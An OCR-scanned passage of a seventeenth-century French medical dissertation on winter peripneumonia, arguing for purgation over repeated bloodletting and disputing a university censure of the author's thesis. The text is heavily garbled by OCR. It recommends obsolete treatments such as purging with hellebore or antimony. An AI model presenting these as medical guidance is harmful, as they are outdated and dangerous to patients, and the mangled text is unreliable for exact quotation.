fembtu , qHihtu vires & fan guts de¬
ficit , & eruda rtcrementa exuberant y
&c.
Au ‘Commencement de J’Annec
Gftce maladie affligea plufieurs
Provinces d’ltalie . & donna lujet It
Baronius de compofer fon Traite , Dt
Pleuroptripneumonid, ^ la tefte duquei
on lit one Epiftre de Thomas Feragal-
lius'ik I’Auteur , dans laquellc il fe
plaint j & dc la nature bizarre d«
cette afFedlion , fitb anciptti for¬
ma divagatnr , fub pleuritidis per-
Jond peripneumoniam refert^& fub hw-
jus forma , non rare pleuritidts ideam
rtprafemat, Il fe plaint cncor^que
le« remedes ordinaires, comme la
feignec ne reuffifloient pas> Confue-
ta namqtte medendi ratio in fattcis ad
vota fuccedtt : & in omnibus ferme
vermes apparent. ■ Ce qui fignine un
gtand ainas de cruditez dans k vea-
Hi
. 11:6 '
,sricule. .Zacut. Lufixan-& Hocbftei*
4?rQS, avoient d^ja remarque cette
Perifineumpnie, vermineiife , & nous
^a.v.pns oljfeWd .qac I’Erifant d'un de
^ps plus <;oi\lIderables Habitans, fat
,CEou$e en yingt quatte heures par
-uue -violence .Orchopn^e , done nous
ne piifmes trouver d’autre caufe dans
roaverture du Corps, quelquc exa-
recherphe qae nous en filliqns,
que des pelottons de vers , dont les
inteftins eftoient remplis. La feignd?
^n’eftqic-elle, pas bien inutile en ce
rencontre ?
Mais fans nous arrefter plus long-
tenaps ^ fairc Ja Chronologic de cette
nuladie , & cherchcr a^yec foin les
?nnces' dans lefquclles on la veue
paroiftre , jc crois avee le Dodte Sy.r
denhaiii qu’eUe vient tons les ans dans
la faifon , & eft plus rare oii plusfre-
qiiehce, pdp5;''iolente , ou plus douce,
jfc.Ion j„s coplUtntions differentos de
il%yvct , & da Priiuemps : Voicy
conmcil parledarrs la fed. <». Chap.
,4. qui eft , de 'Peripneumonia nethd,
jijemts exunm ,. pert^ae adhttp
na^ente , qtiotahnit emer^
2*eripJ3eummes‘itfIy<ver.
pmatis feriptieHmonicis hand panch
tonfpictta , kfqucls il deerit, & cn at*
tribue la caufc : fnterceptk circuiatid-
ni ifangnmiyue ^Hafi frafoeato , niide
mllafere prafertm in habmoribus, fe~
bris indicia fttnt ', licet hdc etiam accide-
re pojfit ob materia pitnifepa copiam,^nd
hornm fangnis gravatits , in plenam e-
bnlliuonetn neqnit apttrge'rei Cette Pa*
thologtc eft entieTemtnt paieille ^ la
noftre , ■ quby qBafteurement ie tie
Teufle pas encbr veixe lots qae Pay
compofc nra Thefe & comment^
cette Differtation , & pou/ la cura-
tion , elle n’eft pa's xiibhis confbrme»
car peu apres il parle aiirfi : Cum
vero binc’materta -pnttitdfa faburra in
venis contenta , vena /(bit on cm , /epe re-
petitamvideretur tndictfre ; hind ver&
ebfervatio ^uam potui facere diligenti/-
fima , me doceret phUbototniam fdjpe ri-
petitam pejfime eeffife ^ aique adeo dh
e]ufmodi rcpetttione hand minus ab/tef-
feret\ taihdrfln ego irebricrem’ vena
feblioni fnccenturiabam , <yua ei fath
rebte fubHitnttur ,'in Hits qui a largiori
& iter Hi a /depius' phleboiomU ab~
horrentl"''-
M 3
3 j, S Diffmattenfitrles - ‘
Cet Auteur done qui a beaucoup.'
d;e gouft & de genie pour la Medecine*,’
apres unc obfervation txacie &diligen^
te,a crou'^c.quc la ff igncr plufieurs fois.
reiteree avoir dc furt tniUvais fuccez.
daiis la cure de ces maladies •, e’eft
jjotirquoy , il a voulu fe fiervir de la.
purgation : lequtl done des deux Re
ibedes felop lui doit eftre appelld S
iytusuns* dans la Perigneumonie ba*
fiarde t
LeVulgaire melme tout ignnrarit
qu^il eft , mandit & nc f^Achant pas.
la Lof n.e laiflc pas de reconnoiftt'e ce.
■qui bii eft propre j car chez Hipp. aa
Cpmrrienceroent duLiv de affect', fieri
^oiefl at ex popalo eoram qm di-’
raatar, &ffam wtelltgetitiatn qpattdamt
A^eqaatur. L’experlcnce ’ eft fa rtiair^
trelfjj & les M edecins we/tne. daivent,
s’dccqmmoder a fa tapacite, & kyes hb-
feins', felon le melme Hippocrate aU)
tiv devetfr. nfediaa. Qm de haCi.ani
d^ifferere infUtatt , qaa plebeijs mta
diejsre dlebet , cam de nall.o alto..A
qaartre y convettiat , qaam de merbis
fHibas ij tentamar ; ca'm nihil altad
fpifqsie recerdttar , qaam.qa^ filii cm
Et Galien au Chap^^ 6. da
Liv. 8. de la Method. J^od enim ft-
furpare Jolte ijuembbet\iniri)t tjut ff
SMndttm naturam fe habeat yqitovts fo-
phtfid. venort^ opiniones habere- C’eft
par cccte fraocJaq &-naturcll? Philofo^
phie fondee fur le ieos commuii , &
la malheureufc .experience de leurs-
Seigneurs , quc les Paifans grofliers
tefufcnt de bailler leur bras pour cftrc
epuifez de fang.mal apropos^St le gue*
rillec par les remedies des pauvrcs de la
vertu dcfqueU , leSvFaciiltea dc Mede?,
cine font les dernieres stsapperccvoir^
J’en ercepte Monfieur de Vaucon^^,
leurs,Con,feUler.& Medeein ordinaire,
du Roy , & fonLedleur dans celle d^
Caen , qui dans la Tbefe qu’il a cotn^
pofde &. prefidee lejzp,. JuiUep,j 63 i^i.
pour TAdte dc ^cheUer datmefniie
fieur Barrafin » pour lequelii’a.yQis fait
Celle dc,Licen;ca,:.idont.il s’agtt., fujf.
la Qijeftion , a^n.ptelfus fall^>i! Par>
lant.^de-.k cure d.es- l^eripnenmoni^s
qui faifoii dinbiVlit des t^e ternp^S'-v dif
ces motsvers la fin du js Cproli'air^.^.
J^ec miKtis-venA^ttm pnl{atjoYiei.,dt-fkAees
Mutm ).pHrgandts forJaH imfio
140 ® iiT ’-ytatienfitr tet
fttlmomds, ^htbica etiam fitmma em-
tfone, CHm frequentt potiiss 'i/ena fcthsnti
illi , freqttenmnihfifefHe cttrdmc'ts ,
tttto , cifo^& iucmde fint liberAndi. Si
tamtn omnk morhns funaripoffttNt-
que e»im ejt tn medico femptr reUvitur
Ht ^ger. rerkm hoc cafu ftiffciat pro-
videmtam ^dhihaijfe, & monm^e
inculpaius audios-. He un peu plus bas,
ucYi fao 'e alia quorenda eft uehs Cymfu*
ra, qm per magtium tllud merborum
mare navigamus.lot va iis, fjrtibufqut
&fcop4tlis tom frequemthtts eonfptrfumy
ml perittjfimoTftm mufragijs infameiCt
font de beaux mots qui veulent dire :
Le pauU n eft pas ntoins mceftaire, pour
purger pent-eftre feulemem dans le com¬
mencement, les ^Pftlmoniques. Ce qu'ort
ne doit faire quavec tres-grande preeon-,
tion , puis qutl vaut mieux les guerir
promptement, feuremem & agreabie*
went » par Isc fetgnee freqnente ,
par I'ufagedes cirdiaux Si toutefeis
il eft poftible de guertr tomes les mala¬
dies ; car il» eft pas toitjours an ponvoif
du Jldedeein de foulager fon maladt i
& dans ce cos il fuffit de fane itso
ban pronoHic i pour fe dtfculper ; Et utt
Teriputamnits iHjver. .141
pea plus bas ; Jl nefaut point cherchtr
eC^um eSioille ^ue le ponls a ecHX qtti
commt nous navigent fur In mcr des
tnniadies , pUint de tant de “Bancs & '
d'Efc’ueils i fameufe par le naufrage
des plus hahtles. S’il ncuis eft permits
de faire quelque reflexion fur cetec
.Dodrine , il me femble qu’elle eft mi-
partie& de deux couleurs Car d’aberd
f Auteur propofe la purgation dans ic
commencement des Pcripneumonles s
puis fur la fin , il eftablit la /eignee
comme Icur veritable remede. Il eft
uray qu’il nc la propofe qu’avec ua
jPeut-efire i quicomme ic pris la Il¬
ls?,rtede luy dire dans la Difpute , n’eft
pas une belle roaniere de s’expli-
quejf en medecine , & il me fouvient
que ie Ju’y citay un Palfage d’Hlppo-
crate Liv. de loc. inhom. ouce grand
Homme ne vent pas qu’on donne rien
^ la poitunei fic medteinam novlti
rninme fortmanj^refpicit, aut expeClat'.
ftj, fortunam , & cum fortune
r^He .fitciet ; confttens enim ac firm a efi
totamedicina, & deSlrina opiima in-
ipf^ esmspofita , minime fenunn egert
i nam fonuna fui iarii
ij^z *Dtff'ert‘im}i fitr les
eB , & nulltHs imferio fttbeB ; itt-
t^ne ofutmis eft ad tpf-Am pervenire, &c,
Ec on peu plus bas: .Qmd opHS tfi mt-
dicmtt formna ? Si tnitn merborttm mt-
dicamettta clara fmt , & ntanife/h
velm etjuidem ^rbitror, m» expetiant
fanefortmam adfanandos morbos > f-
^tiidem fmt medicamenta. AfTenrc-
menc , un Homme comme Hippocratc
me fe ferviroit pas de Forfan. Mais en
arecompenfeilors queMonfieur deVau-
couleuts cftabiit la. feign^e fi fortc-
meni, i'l tie rcpond pas du fuccez, Sc
i’eft pour empeicber qff’on ne le rc-
■chetche tie garantiejqu’il emplore tailt
iie pcecautionSi& qu’il pafle, deMtn,
d'EciieUs , de “Bancs , de Naufrages.
Toutes CCS expreflions font voir qu’il
n’etoit pas tout ^ fait content du fuc¬
cez de fa Pra'tique : & le^ 'ConopifTant
comme i’ay Thonneur de faire. i’ay de
la peine a m’imaginer , comme il a
eft^ capable de cette ifigcnuite.
le fuis encor plus empefcbe h dcmefler
foil intention, lors qu’il a compofe cet
endroit de faTheferSeroit ce pointquB
d«i ce temps , ayant deja f^eu tes fen-
tiftiensquc ie ipubliois fur la cure des
r -^
Feripnetiwcnies i'Hyver. 14 j
Peripncunaonies , & dans les cmre-
tiens partieuliers, & dans lesconful-
tattons , & encore tnicnx- par ma Pra¬
tique , qui graces a Dieu , n’eftoic pas
malhcureufe, Monlieur de Vaucou-
leurs voulut bien faire voir qu’il n’ap-
prcnoit rien de nouveau , rien: qu’ili
n'eufl: dit luy mefme , & qu’on me
d’cuft attribuer ! C’eft pourquoy vou- ^
lant prevenir par fa Thcfe la reputa¬
tion importune de cette doftwne , &
des bons fucccs qui fcmbloient la con¬
firmer y il affedia d'en parler hors oeu-
vire , & fans aucune ncceffitc’ r-celai
n’eft.pas impoflible. Mais , me dira-^>
on j s’il eftoit veritable , pourquoy.;
Monfieur de Vaucouleursa t’il cen-
furf cette Doftrine , qu’il avoit
adoptee , en I’inferant dans fa Thefc>
commeun Probleme foutenable J J’a*?
voue quc ie metrouvc: Bien empefche
li-deffuSi de que c’eftdc I’Auteur mc^
me qu'il faut en attendfe la repotsfe.
Garenfin ce qu’il adit dans fa Thefe
fur la purgation des Pulmoniques »
; eft ou fauxi ou veritable i ou incertam- '
" Sil cftfaux, pourquoy Monfieur de
j Vaucoulcurs IA'il employe dans fit.
144 Dijfertattm far les
Thefc > S’il eft veritable, ou du moins
problematiquc > pourquojf I’a t’il done
cenfur6 dans la mienne, & ne I’a fouf-
fert comrac one queftion iniportante
quM eftoit de I’intereft public d’appro-
fondir ? Il avoir tolere, & niefme fait
honneur ^ une Thefe que propofa &
foutint en I’annec i^/y.Maiftre Fran¬
cois du Val, tres habile Medecb d’E-
vreux , & Doefteur d’Angers pour fon
A£te d’Agregation en noftre FacuU^ j
fur la concluuon : Ergo catharfis pleu-
rhidi esiranda idonta. Pourquoy Mon-
fieur de Vaucouleurs ne cenfuroit-il
cetce propoGcion ? Son authoritc & fa
tolerance m’ont feduit , & il a tendu
un piege ^ ma Gmplicice pour me per-
dre: Cela n’cft pas Chreftien > ni digne
de cettc piete exemplaire dont il i*ic
profeflion.
Mais Ic veritable fujet de ma dif-
grace* n’eft pas^ ce que i’apprens d’a-
voir reconnu & propofe la neceflite de
k purgation dans les Peripneumonies
d’Hyver. C’eft bien quelque chofe,
car enfin. co nleil pas ^ moy ^ recon-
noiftre ,imais bien fuivre-le themin
batta »;faas hj’ecarter des opinions
communes
*Ptn^ne^rnmtis iHjvtr. 14/
communes ; du moins fans ics avoir
coinmuniquees k mcs Anciens, & a-
voir pns leur /pii>e - defltis ; mais
n'eanmoins-, mon plus grand crime eft
d’avoir abusi du nom iiy^usfi’&r qu*-
Hippocratc a donne ^ la foignee, dans
un Paffage cy-delUis alleguc , & que la
plafpart’ dcs Medecins Iiiy one depuis
confacrc fi religieufement , qu’on nc
pent fans' prophanacion s’eii fervif
pourd’autres remedes.
C’eft done ItBlafphefme qni^eft dans
ma Conclufion ; Ergo Cdiharjis iyi-
qui a ofFenfi Ics ptcufes oreilles
de Monfieur Puylon , & attire fur
moy les foudres de fa cenfure ; C’eft
I’abus de ce mot precieux que Mon*
fieur Ic Doyen a jugie pcrnicieux an
Genre-Humain j appuie fur de faux
Principes j & contraire la Methode
de la.Medccine.; Mais en verifeiene
meritois point un traiitemetit fi rude i
p'uifque Ci i’ay matiqui , c’a efte fur 1*
parole de Galien', qui enfeigne cn tant
d’endroits de meprifer les Noms, 8c
s’attachcr aux Chofes: Nomina con-
/ewwe, dit'il , ail 14, de la Meth. Et
pertra£la, Sc dins Vonziems , no¬
li
14 <> ’rtation fur Us
mintbus ^utpjtie utatur at placet, fed
mn remedijs i il condamne au 3. d#
artknl. la curiofite des noms, & au,
a- de alimentor, facult. ,en appclle
la Doflrinc , fxlfam , perdhijfimam ,
pleine de Charlatanncrie , Prafligia-
tricem de differ, pulf. Chap, pre¬
mier, comme dans le a. il diftin-
gue Ic Medecin du Sophifte , par la
liberte de I’un , & I’attachement de
I’autre , ^ Tufagc des mots. Jay done
cru fur la bonne foy de ce grand
Homme, qu’il fuffifoit de prouver ,
comme je crois eftre deja bien avan-
ce , que dans la Peripneumonie d’Hy-
ver, la feignee eftoit fouvent fuf-
pefte ou dangereufe, & que la pur¬
gation eftoit plus falutairej j’ay cru
disjc> qa’en bonne confcience, je pou-
vois luy donner de V & je ne
ferois encore aucun ftrupulc d'appel-
ler ainfi le Mercure pouf la gale , /es
maladies Veneriennes, & PediculaV
res;ou le Quinquina dans toutes les
^!evres intermictentes. En verite fi I’l}-
luftre Moliere vivoit encore , il feroit
one bonne Scene de tout cecyi & je re-
connois que e'eft un trait de la Provi-
I’eripHeHmontesd’Hjver. 147
dence , d’envoycr dc temps en tcmps>
des flcaux comme Iiiy. pour nous fairs
r’cncrer en nous mefmts , & refor¬
mer la Medecine j qui eft une Pro-
feffion importance , & de laquellc on
ne pcuc pas douter que Dieu ne pren-
ne un foin particulier , puis qu’U a'
voulu qu’ufi des fept Eiprits qui affi-
ftent devant fon Throne, en portaft
le nom.
Revenons aux Auteurs qui ont
parle de la Peripneumonie d’Hyver.
La plufpart des Modernes ont tres-
bien reconnu I’inconvenient de la
feign^e , principalement frequence &
rciterie : mais ils .ne me fcmblent
pas avoir eftably affez fortcment la
neceflite & Timportance de la pur¬
gation : foit quc leur genie n’aic pu
s'eflever ^ la force ny ^ la vigueur de
la Medccine ancienne : foit qu’ils
fuflent trop forcement prevenus des
opinions courantes. Riviere nous don-
ne un exemple infigne dc cette foi-
blefle , & dc cette prevention , dans
VObfervat. p8. de la premiere Cen«
turie , ou apres avoir fait I’hiftoire
d'une Peripneumonie pituiteufe > guc-
Ni
• r48 Dljfenatloti ftir hs
rie par !a purgation ; apres Jaqucllc
le raalade parut exempt de fievre»
& de tous les aiures lymptomes, il
ajoutc , Fnde patet ptirgatter/em tn pe-
npKtttmontA mttrdtint cottvenne-, qu«m-
ni'S Ht plmmum ante 7. diem per-
mciofa fit, Ce qui fait-voir que la
purgation convient quelquefois dans
la Peripneunaonie j qnoy que potlr la
plufpart , devant Ic Icpti^me jour,
die foit -pernicieufe. L’Auteur ne fait-
il pas voir une grande conformii^,
cm re fa Podlrine & fon experience ?
Et n'fjUft-il pas mieux fait de reiterer
Qelle'.C5r,.& {a poulfer i bout, que de
cpnclure comme il a fait.
Comrhe le grand Fernel, bonneur
de la Medecipe de France, & par*
ticuliereipent dc I’Ecole de Paris,
eftoit d’up Ordre Superieur j il eftoit
auffi beausoup plus ferme & plus re-
folu fur la purgation , & en con*
noilftnc mieux la necelllte ; mefme
dans le commencement des maladies
aigues; car apres avoir jure fainte-
menC en qudque endroxt, Sanni afi
firmare pofium , qu’^il avoir, obfervc ,
que touces les maladies prenoienC
Terifne^monies d’^fjjvcr. t/,9
ieur origine du bas-vcntre , & cle la
prcmiere*^ region , il dit iu Gh. 8. da
ill. de la l^cthod. que prinia £egio-
ftt4 cacoeh'pmrtt j fmgatiom Cola atiii^
ter & commode demi potefi I'ijnpu-
reie de k premiere region» ne f«.
pent voider utilement j ny commo-
demenc j que par la purgation > &
plus bas , reme feiln vii, eo •vix «»-
pertingit, »eqne hinc humoreS'
VACftAt j fed grave fane dtfpendto na-
tnra oydenem pervertit ,
'mpurttate dereli&a , pnrum fincerum-^
4pne fanguincm prufmdit e venis :
^ue venoi fefiione exttiamtas implet-
fadd illuvie, raptd e pnmii Jedtbm j,
9«<e cjuafi fentina eft omnis impurita-
lit. Q_nts qu&fo adeo rndii in meden’-
do fit, fit ant. ver.tricKli crudHatem 3,
ant hi* affines. ajfefim asideat , am
tentet vend fe£id curare ? ^tfnetiam
venarnw cacochjmia , fold purgatione «
non ven& feSiione eximi tota poteft 3-.
^c. C’eft k dire la force de la fei-
gnee ae va jamais jufques-k, Sc e’efe
avec un fort grand dommage > que
pervertit Tordre de la nature 3 celuye
«iui laiflant rimgurcte, tire le kug;
T-^ ^-’
I/O ^ijfertmenfurks
pur & fincere , & vuidant dcs vei-
nes ce qu’elles one de incillcur > les
remplit d’ordure. Qui eft aflez igno¬
rant cn Medecinc, pour vouloir gue*
rir la erudite du vemre par la fei-
gnec ? Tiropurete meGtiie des veines
«c fe peut vuidcr fntieren?cnt que
par la purgation , & non pas par la
itignee. Et encore plus bas,
tilU foteft fhlebotcmla , tmyiem •vena-
runt cacechjmiam fxtmere , ni[i forte
univerfam fanguimm frofmdat- ll
n’y a point de feignee qui puilTe voi¬
der toutc I’impurete, ft ellc ne vui-
de tout Ic farg. Item , ea forjo ca-
eoehjmla, vtl fanie altcujut fttb-
ftamtam , vel cor forts habmm occu-
favit , medicamente infrimis , ron
vensi feiitone dnetnda. L’impurete
mefrne qui eft dans la fubftance dcs
parties, ou I’habiti de du corps, fe
doit tirer par le medicament purga-
tif, & non pas par la feignee. Et ce
qui fait plus h roftre iu)ct » Stv ex-
iaurienda (ft cerehrt ftdmonttm've cr»-
dter f.itnha ; fic ift tovus terpork ca¬
chexia, C’tft ainfi qu'il faut efpuifer
ia pituite crue du cerveau Sc despoui*
^FertpneHmonles d'Wyver. Tji
iBons, 6c la mauvaife habitude de
tout le corps. Ec fur la fin du Ch,
qu’il faudroit copier tout entier , £x~
hattfio fangmne humor unpurus ,
vis ftde fit dertltbiui , efferatur , fero-
/kvit ; altos hilts flava circttm
jecuv, alias pimita y •vel in cerebro ,
•vtl in psflmontbus , vel in vemnculv
^uafi fubMtans , detraSo fangmne ,
de)e£lijytie viribus , gravtora profen
fjmptomata. Le fang eftant elpuife,
I’humeur impure en qoelque lieu
qu’elle foit» devient plus farouche
& plus infolente f quelquefois la bile
jaune fe foulevanc dans Je foye .
quelquefois la pituite dans le cer-
veaij, dans les poolmoris , ou dans le
ventricule, y produifcnc des acci¬
dents plus fafeheux.
Et dans le Chap. iz. du mefme
Livre, j'y trouve ces mots : Cate-
rnm tn ancipiti atque gravi morho , ,
enlns femper & fymptemata fova fnnt,
& minime tutus txnus , Batim per '
initia , non uttliter folkm , fed & ne-
eejfarie utendum medicaments purgan^^
te , neejue prudentis fit medici concsBieh-
mm expebtare , qua fort^fie fumra non
tfi 'Difiertatfon far Us
til. Cum tnim anceps is Jit ae ^ehtr
mens yfemper<jue meim mpendeat, nt
aut detertor evadat, mi laherar.ttm
ante flatnm ju_^nl, t , crsida eiiamnum
matertd , nonmbil dacenduw ante co-
ctioaem: & cent cruda ea materia,
Cum m plerifejue actttis morbu targere
feleat, & qtsaji eberrans fiptblttet > as
flaat, refluaique in vtnis, atque ’V.if-
seribm , non admouitm agre vtdt-
tur mtdicamento ceffma. Sicfape ar-
tis tifu animadverfnm ejb, ancipitem
periculofiimqns morbtsm , tutnm fah-
taremqtit reddt. ^uo autem ac^tior
ejl morbus , hoc magts accel.eranda , va-
lidtorqtte decernenda eji purgatio } at
tandem extremis merbis , extrema di~
ligemijfime adhtbeanmr remedta j his
non folum remedij celeritaiem , fed &
‘vehementiam hortatus ^concitatam cm-
nem materiam , pratinus atque eodem
ipfe die evacuare doeet } ne ultra ct-
ireque concha i» princtpem aliquant
partem irtuat , repentinbque Jit exhio.
Jtaque licet d perfectd coaione felt-
dor femper Jit purgatio , ea tamen anr
te concoctionem , in ancipitt gravique
morbo ejt nccejfarta : in fain tart as
Perlpfiesiptonies d'Hjver. J/J
rnhi utihs. Efi & alia ratione ante
coUionm pargandi necejfitof , ft pra¬
ter eomtnentem actttt morhi matenamt
aut in vents , ant in vtfctrihus ,
am in habitu eji cprporis, & /njus
expetlatnr coBto , alia ^ttadam vitio-
fa in ventriculo , tn inteSiims , circnnt
praeordia adharet , dolore , afin , natt-
fed , amarore , altjfve fignis tnani-
feiia. Hac tnim omni tempore •, etiam
nondnm ulld morhi apparente co£lier,e^
tttilner poteft medicamento irahi-
Voila de beau Latin qiii decide
nettement noftre queftiou ; fiuou dans
rHypotbere de la Peripneumonie , du
moins dans la Thefe des maladies ai-
gues ; parmy lefqucHes les inflamma¬
tions de poi£Vrine tiennent le- premier
rang; comme nous I’avbns fait voir
dans le comrqencement de cei Ouvra-
gs , par la Doctrine d’Hippocr* done
le foil! principal femblc avoir efte de
bien deferire la natures les remedes*
& la dictc , des Pleurefies Si dcs Peri-
pneumonies. Fernel done veut qiie
dans une maladie grande & donttufe ,
dont les fymptomes Ibnt terrlbles , 8 e
1 eycnement iacertains Ton pent utile-
1/4 Dijftrtation fur Us
mcnt, Ton doit mefme neceflaire-
inent fe fervir d’un m.dicamcnt'pur-
gatif j & qu’un Mcdecin prudent n’at- i
tendra pas fcrupuienfemcnt la coiidion, .
qiii peut-ertre ne viendra jamais. Parce
que la maladie eftant douteufe & ve-
hemente, Ton doit toujours craindre
qu’en augmentant, elle n’etouffe le
malade, avant I’eftati & ainfi ij eft
necclTaire d’ofter une partie de la ma-
tiere crue devant la codion. Et cer-
taincraent il y a toiite apparence , que
cette roaticre crue j qui dans la pluf-
part des maladies aigues, eft en mou-
vement, comme cn Rut, vagabonde,
& dans nn flux & reflux continuel
dans les veines, obeira avec facilite
au remedequi la tire. L’on a obferve
plufleursfois, que cette evacuation de
rhumeur crue, foit que Tart ou la
nature I’ait procurec, hafte la codlion,
qui paroift par des urines, plus pures
avec un fediment; & qu’ainfi une ma¬
ladie dangereufe & mortelle , deve-
roit affeuree & falutaire. C’eft le con-
feil d’Hippocr. qu’il faut purger dans
ie commencement des maladies at- I
gues : & tant plus la maladie eft aigue^i, |
Terlpneuntonles d'Hjver. ijj
d'autant faut-il purger pluftoft & plus
fortement, afin qu'aux maux extre¬
mes , on oppofe des remedcs pareil-
lemenc extremes- Exhortant ainfi, non
feulement ^ la promptitude , mais en¬
core k la violence du medicament j
de pcur que la matiere eftanc cfmeuc ,
ne fe jette fur quelque partie noble ,
& ne fafle mourir cn pen de temps.
Encore bien done que la purgation
quifefait apres la coition* foit-toCi-
jours plus heureufe i pourtanc
qu’onfait avant ce temps, eft necef-
fairc dans une maladie perilleufe; 8 c
eft utile dans Us pins donees, & Ics
plus falutaires. Ilya encore ime 'au¬
tre ncceflite de purger avant la co-
dlion, ft outre la caufe conjointe de
la maladie aigue , qui eft , ou 'dans Ics
grands vaifleaux , ou dans la fubftance
des vifcercs, ou dans I’habicude du
corps, & dont Ton attend la coition,
il y a d’autres irapurctex , dans le yen-
tricule , les inteftins, ou vers le dia-
phragme : ce qui fe connoift, par la
doulcur , I’embrafement, la naufee *
1 amertume de bouche", & les auercs
fignes femblables. Car cette matiere
lj6 Dljfenxtlonfur les
fe doit tirer, par le purgacif, en’ tout
temps , mefmc fans auciine apparence
de co6tion, apres quelque preparation.
J’ay done grand fujet de crc«re,que fi
Fcrnel ouE)urcc,avoicnt aflifte a la de¬
liberation qu’on a faite fur la Dodrins
de ma Thefe , elle n’euft pas efti con-
damnee j & que celles qui conclo&t,
ISl'pn ergo extremis ^orhis , extrema
remedia, ou bien , non ergo melancho¬
lia mochHea , contre deux AphoriOnes
expres d’Hippocrate, auroient couru
beaucoup plus grande rifque. Je fou-
haitterois encore que I’llluftrc Hoi*
lier, infigne Praticien de la mcfme
Facuite de Paris s’y fuft rencontr^ i
car il eft entierement de mon avis,
dans le Scholie fur le %6. Chap, du
Liv. I. ou il dit exprelfement , que
dans lesfanfes Plenrejies , ejmwnnent
de I’ am as des humettrs grojfitres & vif~
sjmufes i (^uifeportent fm la poiffrine t
tl ne fam point de feignee , mats des rt-
medes qni atttrent, incifent i ^ pnrgent
e:es humeurSi Ec Wpnlieur Duret danS
■fon enarratipn , fur ce mefme Chap
enfeigne que ‘dans ccs maladies , la
purgation eft particulicremcnt necef-
faire
PeripneifmoHits d^fjyvfr. ijy
fairffVRouen &' autr:s. licux expofez*
aux veins du Midi.
Mais cc qu’ii y a de'.pl\js laerveil-
feux , tft^juc Monfiebr Patin mefme",
eft de la Partie j & k I’Antimoine pres,
efruh dcs plus fortsarcboutans dels
pulrgatron dans les'InflSmadons.U efti-
ihe Fcrhel ,dom (tie d e‘ raifon, & lb cam 3 >-
riife dans fes Lettbbs', julqiics'^ direr
dtins la 79. qu’ii trouvera dequoy fer
cbnfoler dans Tauci e mondc > s’ii peuc'
cbnvcrfer a^Vec luy , dans la i6.
cite ce mefrne Chap, pdiir appayer la
prati(^e d'uti Medecin de fes amis,’
auquti on reprochoit d’avoir purge‘&'
gjiery des le qiiStrie^^nic jour. Tons
ptivez^ , luy dit-il, alhguer encore me
amnraifon y/fttvoiri^ue dims les ma-
ladies, depe»r d’une infUmW^ttiott in-
terieHre , il ejlpliujtttr de purger ,
ek purKettre q»e I'humem mtrhtfiqtte ,
I peurrt^e dans la premiere region de'
fiamt qne cette hamemfereufe& malt-
j f>»«, He foil portee an cerveau ■, & an
I pulmon. Le bon-hemme'BatUon eB in
ce cat teat a fait pour voui , mats noftre
Femel, quv efl hien m autre homme ,
I e^ encore d'avamage. 'Jiepntf 1.6. any
O
1/8 Bfffertmon fur Us
je I’ay mrepns plm de em foh, & tou^
jours avtc bon fncctT^ Fm zJ^enJicur
T^jcolas ‘Pntre, tjus a efte won bon
tJMatfire , mats d dire vray , un horn-
nte tout d fan JmomparabU, m’en avott
raomre Cexemple • & cemme un jour en
pareiL cos y fan i6$i. je luj aHeguay,
f<syiphor. 22. du I. Concocia medicare
epertet non crftda, il me. r.efpondj.c en,
pen de mots » ceSi un bel i^phonfme j
mats tl nen fauf pas ahujer ,, ks mala-
det nont que fa.ire de nos diffutes Stho‘
laftityues. . Je, crois qiie 'i'' P^y'i
lou ue voudra pas derogc,r.^ I’^aucriorir.
tede Fernel i moitis cncpre.^i cclle
du ficur Patin » autrefois Doyen dc la
Eacult6 de Paris comtijs luy ,
Fanteur de la feignce , & amy declare '
de feu Monfipur (pn.Pere j dont il, dj|-,
tant de.bieii dans fa, y. .
met entre jes gens de bten. y gufopj 4^ ,
pudepr de re^t» ^ be font^yp ft”f‘
Charlatans ; au nombre derqofcls il
fedonne la libertc dc mectre plu.fieurs,
fores hoimeftes & babiles gen's, de fa
Fyaculte,, qui fplon touces.les.apparen-,
CCS, n’eitoicnc pa^. d^.fon ayis touchant
i’Antimoine. .
*Fertp»etimtinies d'fffv'evi irp
Pour cettc nneme ration , ledic fieur
Patin , apres' avoir dans Us Lettrcs
I34.'&i4p. traice le cclebrc Mon-
luur de I’Orme d’lncomparable i dans
Ja 167. cn parli ainfi ; fe fitis bien
dife d’afprendre Metifie»rde COr-
Wf , foit ‘vofir^ zoifin a L"ptn , & y«e
ottfiettr vojire Fils le fre^ueme i car
jemeperfttddet^Htl ltty aura fait part
de qWel^iie, belle canndifattce i mais je le
prie'qti^tl nefe laife pom aller dfes hj-
f efboles, qUand il s’agtra de I'jintimoi-
tie. ^e fpay quit purge bemconp, &
tnefme trap : il purge fouvent le corps
&l‘ame y il don j avoir grande diffe-
Veded-, 'eniVe u’n Ho'nome /age, & ttn
'Charlatan. ^ N’eft - ce point en bon
•Fraiigciis > foirfecr lelchaud & le froid
d’une mefme bouche > que de loiier la
purgation dans Fernel, & la blafnier
Hans Monfieur de I’Orme. Mais il
n’impdrte de puiger. fnft-ce avee THel-
ieboVeparce que e’eft un vegetable.
Hit Hofman , noftra non ferae
hoc vegetabile , pourveu qu’en ne fc
Icrve point d’Antimoine , qui eftoic
le fujet des diflenfions qui embra-
foient I’Efcole de Paris. & done le .
i6o jDiJfertAtton fur les
feu mal efteint , s’eft encore veulu
prendre ^ ma Thefe > mais j’elpere
que loin de la bxultr, jl ne Ja . poiirra
pas noirdr : au contrdre, eljc en
ibrtira plus belle ^comme cette toilc
^fbeftine, qui fe blanchit par le feu>
felon Plin. Liv. ap. Chap, x-
II ne s’agic done plus de fgavoir^,
ti’il faut purger ,dans Ics inflaipma-
tionf de ;ppiA»tne , ,mais Xcjjiiefne.at
du ,re;rne.de jwj: leq<pel on le dpitfai-
rc,i fi jl’an dpit ,i;erenir X.HelIpbpr£|!»
& exclure I’Antimoine. Pour jnoy j/;
«;rois qu’on fe peo.t feryir de tous lei
deuXj, pourweu.qu’oo Je faffe prppo^
jejajife k jpgeifqwi ^ont junc
mpdiqcrc ..copncdirancip des me-dicar
meuts ^ lequel. .des ide.ux i prefer^
clit le plus doiix, & le plus alfeure.
Galien , au Comtnentaircj de awe*
4 icam. fecfind. ,loc, a raifon de dire
que les faufus epmouf freoc-
cjtpent I'ei^rit des honsmsi » efles its
rendent vo» fealemtnt fourds, tnats
ttptu^es > fnfortf ^u'ils ue peuvent
upptrcepair , ce qns tfi tres-fvident d
t Ota les autres. Et dans le Liv.-1. de
fueuit. Udicque i’antbitfov de$
*PerJpneptntontes {tByver.. t€i
fedleS , (fi>i07i^ia me/ -mi kifirtiS, cft UIl
mal qui ne ft peut laver nj effacer , &C
eft plus dflEcile I guerir que la gale la
piusrcbelle: malum efit
